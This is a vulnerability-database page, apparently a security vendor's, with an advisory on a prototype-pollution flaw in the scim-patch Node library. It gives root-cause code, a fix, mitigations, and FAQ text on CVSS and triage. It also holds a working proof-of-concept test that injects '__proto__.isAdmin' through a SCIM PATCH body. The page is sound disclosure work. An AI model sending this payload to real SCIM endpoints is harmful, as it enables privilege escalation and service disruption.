How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,262

Total vulnerabilities in the database

CVE-2026-48170 — scim-patch

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

Class: Prototype pollution (CWE-1321)
Affected versions: <= 0.9.0 (current HEAD 871b1e2)
Attack vector: Network — sent as part of a normal SCIM PATCH /Users/:id request body.
Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
Scope: Changed — the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that expects the key to be absent.
Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer).
Persistence: lasts until the Node process restarts, so the blast radius is every request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== &#039;object&#039;) { ... }

    // src/scimPatch.ts:423-427
    for (const [key, value] of Object.entries(patch.value)) {
        assign(property, resolvePaths(key), value, patch.op);
    }
    return property;
}

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

function assign(obj: any, keyPath: Array&lt;string&gt;, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i &lt; lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj[&quot;__proto__&quot;] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

"__proto__" in obj is always true, so the fresh-object branch is skipped.
obj = obj["__proto__"] now points to Object.prototype.
The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

import { scimPatch } from &#039;../src/scimPatch&#039;;
import { ScimUser } from &#039;./types/types.test&#039;;
import { expect } from &#039;chai&#039;;

describe(&#039;Prototype pollution via scim-patch&#039;, () =&gt; {
    let scimUser: ScimUser;

    beforeEach(() =&gt; {
        scimUser = JSON.parse(`{
          &quot;schemas&quot;: [&quot;urn:ietf:params:scim:schemas:core:2.0:User&quot;],
          &quot;id&quot;: &quot;tea_4&quot;,
          &quot;userName&quot;: &quot;spiderman&quot;,
          &quot;name&quot;: { &quot;familyName&quot;: &quot;Parker&quot;, &quot;givenName&quot;: &quot;Peter&quot; },
          &quot;active&quot;: true,
          &quot;emails&quot;: [{ &quot;value&quot;: &quot;[email protected]&quot;, &quot;primary&quot;: true }],
          &quot;roles&quot;: [],
          &quot;meta&quot;: { &quot;resourceType&quot;: &quot;User&quot;, &quot;created&quot;: &quot;x&quot;, &quot;lastModified&quot;: &quot;x&quot;, &quot;location&quot;: &quot;x&quot; }
        }`);
    });

    afterEach(() =&gt; {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it(&#039;pollutes Object.prototype via a value-key containing __proto__&#039;, () =&gt; {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: &#039;add&#039;,
            path: &#039;name&#039;,
            value: { &#039;__proto__.polluted&#039;: &#039;yes&#039; }
        }]);

        expect((Object.prototype as any).polluted).to.equal(&#039;yes&#039;);
        expect(({} as any).polluted).to.equal(&#039;yes&#039;);
    });

    it(&#039;elevates Object.prototype.isAdmin — the admin-escalation shape&#039;, () =&gt; {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: &#039;add&#039;,
            path: &#039;name&#039;,
            value: { &#039;__proto__.isAdmin&#039;: true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set([&#039;__proto__&#039;, &#039;constructor&#039;, &#039;prototype&#039;]);

function assign(obj: any, keyPath: Array&lt;string&gt;, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

Published: Jun 22, 2026
Updated: Jun 23, 2026
CVE: CVE-2026-48170
GHSA: GHSA-9m6g-wc8r-q59c
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.1
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L

CWEs:

CWE-1321

Affected Software
References

Software	From	Fixed in
scim-patch	-	0.9.1

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.